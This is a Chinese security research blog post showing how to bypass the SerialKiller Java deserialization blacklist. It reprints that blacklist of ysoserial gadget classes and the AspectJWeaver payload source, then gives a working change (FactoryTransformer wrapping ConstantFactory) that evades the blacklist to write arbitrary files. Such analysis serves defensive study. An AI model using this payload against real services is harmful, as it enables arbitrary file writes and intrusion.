原创 | AspectJWeaver利用链绕过serialKiller

点击蓝字




关注我们



serialKiller原理


通过重写ObjectInputStream 类中的resolveClass方法加入黑名单来限制反序列化的类,黑名单配置为serialkiller.conf

serialkiller.conf内容
 <?xml version="1.0" encoding="UTF-8"?> <!-- serialkiller.conf --> <config>   <refresh>6000</refresh>   <mode>     <!-- set to 'false' for blocking mode -->     <profiling>false</profiling>   </mode>   <blacklist>     <regexps>         <!-- ysoserial's BeanShell1 payload  -->         <regexp>bsh.XThis$</regexp>         <regexp>bsh.Interpreter$</regexp>         <!-- ysoserial's C3P0 payload  -->         <regexp>com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase$</regexp>         <!-- ysoserial's CommonsBeanutils1 payload  -->         <regexp>org.apache.commons.beanutils.BeanComparator$</regexp>         <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->         <regexp>org.apache.commons.collections.Transformer$</regexp>         <regexp>org.apache.commons.collections.functors.InvokerTransformer$</regexp>         <regexp>org.apache.commons.collections.functors.ChainedTransformer$</regexp>         <regexp>org.apache.commons.collections.functors.ConstantTransformer$</regexp>         <regexp>org.apache.commons.collections.functors.InstantiateTransformer$</regexp>         <!-- ysoserial's CommonsCollections2,4 payload  -->         <regexp>org.apache.commons.collections4.functors.InvokerTransformer$</regexp>         <regexp>org.apache.commons.collections4.functors.ChainedTransformer$</regexp>         <regexp>org.apache.commons.collections4.functors.ConstantTransformer$</regexp>         <regexp>org.apache.commons.collections4.functors.InstantiateTransformer$</regexp>         <regexp>org.apache.commons.collections4.comparators.TransformingComparator$</regexp>         <!-- ysoserial's FileUpload1,Wicket1 payload  -->         <regexp>org.apache.commons.fileupload.disk.DiskFileItem$</regexp>         <regexp>org.apache.wicket.util.upload.DiskFileItem$</regexp>         <!-- ysoserial's Groovy payload  -->         <regexp>org.codehaus.groovy.runtime.ConvertedClosure$</regexp>         <regexp>org.codehaus.groovy.runtime.MethodClosure$</regexp>         <!-- ysoserial's Hibernate1,2 payload  -->         <regexp>org.hibernate.engine.spi.TypedValue$</regexp>         <regexp>org.hibernate.tuple.component.AbstractComponentTuplizer$</regexp>         <regexp>org.hibernate.tuple.component.PojoComponentTuplizer$</regexp>         <regexp>org.hibernate.type.AbstractType$</regexp>         <regexp>org.hibernate.type.ComponentType$</regexp>         <regexp>org.hibernate.type.Type$</regexp>         <regexp>com.sun.rowset.JdbcRowSetImpl$</regexp>         <!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload -->         <regexp>org.jboss.(weld.)?interceptor.builder.InterceptionModelBuilder$</regexp>         <regexp>org.jboss.(weld.)?interceptor.builder.MethodReference$</regexp>         <regexp>org.jboss.(weld.)?interceptor.proxy.DefaultInvocationContextFactory$</regexp>         <regexp>org.jboss.(weld.)?interceptor.proxy.InterceptorMethodHandler$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.ClassMetadataInterceptorReference$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.DefaultMethodMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.ReflectiveClassMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.reader.SimpleInterceptorMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.instance.InterceptorInstantiator$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.metadata.InterceptorReference$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.metadata.MethodMetadata$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionModel$</regexp>         <regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionType$</regexp>         <!-- ysoserial's JRMPClient payload  -->         <regexp>java.rmi.registry.Registry$</regexp>         <regexp>java.rmi.server.ObjID$</regexp>         <regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp>         <!-- ysoserial's JSON1 payload  -->         <regexp>net.sf.json.JSONObject$</regexp>         <!-- ysoserial's Jdk7u21 payload -->         <regexp>javax.xml.transform.Templates$</regexp>         <!-- ysoserial's Jython1 payload -->         <regexp>org.python.core.PyObject$</regexp>         <regexp>org.python.core.PyBytecode$</regexp>         <regexp>org.python.core.PyFunction$</regexp>         <!-- ysoserial's MozillaRhino1 payload -->         <regexp>org.mozilla.javascript..*$</regexp>         <!-- ysoserial's Myfaces1,2 payload  -->         <regexp>org.apache.myfaces.context.servlet.FacesContextImpl$</regexp>         <regexp>org.apache.myfaces.context.servlet.FacesContextImplBase$</regexp>         <regexp>org.apache.myfaces.el.CompositeELResolver$</regexp>         <regexp>org.apache.myfaces.el.unified.FacesELContext$</regexp>         <regexp>org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression$</regexp>         <!-- ysoserial's ROME payload  -->         <regexp>com.sun.syndication.feed.impl.ObjectBean$</regexp>         <!-- ysoserial's Spring1,2 payload  -->         <regexp>org.springframework.beans.factory.ObjectFactory$</regexp>         <regexp>org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider$</regexp>         <regexp>org.springframework.aop.framework.AdvisedSupport$</regexp>         <regexp>org.springframework.aop.target.SingletonTargetSource$</regexp>         <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>         <regexp>org.springframework.core.SerializableTypeWrapper$TypeProvider$</regexp>         <!-- other trigger gadgets or payloads -->         <regexp>java.util.PriorityQueue$</regexp>         <regexp>java.lang.reflect.Proxy$</regexp>         <regexp>javax.management.MBeanServerInvocationHandler$</regexp>         <regexp>javax.management.openmbean.CompositeDataInvocationHandler$</regexp>         <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>         <regexp>java.beans.EventHandler$</regexp>         <regexp>java.util.Comparator$</regexp>         <regexp>org.reflections.Reflections$</regexp>     </regexps>   </blacklist>   <whitelist>     <regexps>         <regexp>.*</regexp>     </regexps>   </whitelist> </config>
这个黑名单中可以看到是针对ysoserial中主要的payload中的关键类进行了限制。
在项目开发中如果要使用readObject方法,使用以下代码配置即可引入黑名单
 ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf"); String msg = (String) ois.readObject();

SerialKiller类继承自ObjectInputStream类,在SerialKiller中重写ObjectInputStream类的resolveClass方法,在resolveClass方法中对反序列化类进行校验,根据ObjectInputStream类中readObject的逻辑,当调用readObject方法时,readObject会调用resolveClass方法,反序列化中的每一个类名都会进入resolveClass方法中与黑名单列表中的进行比对

    @Override     protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {         config.reloadIfNeeded();
// Enforce SerialKiller's blacklist for (Pattern blackPattern : config.blacklist()) { Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
if (blackMatcher.find()) { if (profiling) { // Reporting mode LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName())); } else { // Blocking mode LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", new Object[] {blackPattern.pattern(), serialInput.getName()})); throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)"); } } }
// Enforce SerialKiller's whitelist boolean safeClass = false;
for (Pattern whitePattern : config.whitelist()) { Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
if (whiteMatcher.find()) { safeClass = true;
if (profiling) { // Reporting mode LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName())); }
// We have found a whitelist match, no need to continue break; } }
if (!safeClass && !profiling) { // Blocking mode LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName())); throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)"); }
return super.resolveClass(serialInput);     }
然而这个serialKiller最近更新都在5年前了,在21年的时候ysoserial更新了一个新的payload AspectJWeaver 也就是说serialKiller这个项目的默认黑名单配置中并没有专门针对AspectJWeaver这个利用链

那么AspectJWeaver就可以拿来即用绕过serialKiller了吗?

原版AspectJWeaver的使用


我们直接拿ysoserial中更新的AspectJWeaver利用链进行测试,把serialKiller项目打成jar包后引入到ysoserial项目中,然后把ysoserial中的Deserializer类的deserialize方法代码修改成如下

原创 | AspectJWeaver利用链绕过serialKiller

这就配置上serialKiller了,接着直接运行AspectJWeaver
原创 | AspectJWeaver利用链绕过serialKiller
发现控制台报错了,原因是AspectJWeaver利用链中用到了org.apache.commons.collections.functors.ConstantTransformer,触发了黑名单中的
'org.apache.commons.collections.functors.ConstantTransformer$'这一条。

也就是说虽然serialKiller中没有专门针对AspectJWeaver利用链的黑名单,但却命中了针对commonscollection1、3、5、6黑名单中的一条,看一下AspectJWeaver利用链
 public class OldAspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); } String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0]; if(node == null){ node = array[1]; }
Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); }
Reflections.setAccessible(keyField); keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception { args = new String[]{"ahi.txt;YWhpaGloaQ=="}; PayloadRunner.run(OldAspectJWeaver.class, args); } }
反序列化时调用如下:
原创 | AspectJWeaver利用链绕过serialKiller

最终是在SimpleCache$StoreableCachingMap的wirteToPath方法中达到向任意文件中写入任意数据的目的

从调用链可以看到,反序列化时的关键调用链中是没有ConstantTransformer类的

 Gadget chain: HashSet.readObject()     HashMap.put()         HashMap.hash()             TiedMapEntry.hashCode()                 TiedMapEntry.getValue()                     LazyMap.get()                         SimpleCache$StorableCachingMap.put()                             SimpleCache$StorableCachingMap.writeToPath()                                 FileOutputStream.write()
但是反序列化中用到了LazyMap,并且第15行中Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);

而这里的ct是14行的返回值:Transformer ct = new ConstantTransformer(content);

14行就是用到org.apache.commons.collections.functors.ConstantTransformer的地方,这里为什么要用到ConstantTransformer呢


进入LazyMap#decorate方法可以看到第二个参数必须是Transformer对象,那么就说明我们的content是无法直接传入decorate方法的,必须将其包装成Transformer对象,否则无法成功构造出序列化流
原创 | AspectJWeaver利用链绕过serialKiller

而在反序列化的过程中调用到的是LazyMap.get, 查看其代码

原创 | AspectJWeaver利用链绕过serialKiller

this.factory就是序列化时候LazyMap.decorate传入的Transformer实例,Object value则来自this.factory.transform的返回值,然后调用this.map.put进入SimpleCache$StorableCachingMap.put方法,可以看到value就是我们最终写入文件的任意数据原创 | AspectJWeaver利用链绕过serialKiller

那么我们现在对AspectJWeaver链中的要写入的任意数据Content有了两个要求

1.必须将Content包装成Transformer对象

2.调用该Transformer对象的transform方法后返回的值就是Content本身


这里就很眼熟了,我们在学习CommonCollections1利用链的时候就知道,ConstantTransformer中的transform方法的功能就是将初始化时传入的对象返回。

它的关键代码如下:

 public ConstantTransformer(Object constantToReturn) {         this.iConstant = constantToReturn;     }
public Object transform(Object input) { return this.iConstant; }

理清了这个逻辑,就会发现ConstantTransformer类在这条链里存在的必要性,那么是否可以尝试用其他实现Transformer接口的类来代替ConstantTransformer从而绕过黑名单呢?


修改AspectJweaver


看一下实现Transformer接口的类,不多

原创 | AspectJWeaver利用链绕过serialKiller

一个一个看实现代码,发现FactoryTransformer好像有点眉目
     private final Factory iFactory;     public FactoryTransformer(Factory factory) {         this.iFactory = factory;     }
public Object transform(Object input) { return this.iFactory.create();     }
它的关键代码和ConstantTransformer非常相似,只是它的transform方法返回的并不直接是this.iFactory, 而是其调用create()后的结果,如果我们找到一个Factory实现类的create方法能和ConstantTransformer#transform有着同样的逻辑就能通过两次包装实现ConstantTransformer的效果,这个Factory接口的实现类也很少

原创 | AspectJWeaver利用链绕过serialKiller

其中ConstantFactory一看名字就有得搞,查看其关键代码,果然和ConstantTransformer是同样的逻辑
 public ConstantFactory(Object constantToReturn) {         this.iConstant = constantToReturn;     }
public Object create() { return this.iConstant;     }

那么现在我们将原来的Transformer ct = new ConstantTransformer(content);改写成

 Factory ft =  new ConstantFactory(content); Transformer ct =  new FactoryTransformer(ft);
这样在反序列化时调用到 FactoryTransformer的transform方法时,this.iFactory.create()返回的就是ConstantFactory实例的iConstant属性,即最终依然返回content本身。

修改后该payload即可绕过serialKiller写任意文件


往期推荐



原创 | Thinkphp3.2.3 SQL注入总结

原创 | SPEL注入流程分析及CTF中如何使用

原创 | 从Deserialization和覆盖trustURLCodebase进行JNDI注入


原文始发于微信公众号(SecIN技术平台):原创 | AspectJWeaver利用链绕过serialKiller

版权声明:admin 发表于 2022年12月21日 下午6:01。
转载请注明:原创 | AspectJWeaver利用链绕过serialKiller | CTF导航

相关文章

暂无评论

暂无评论...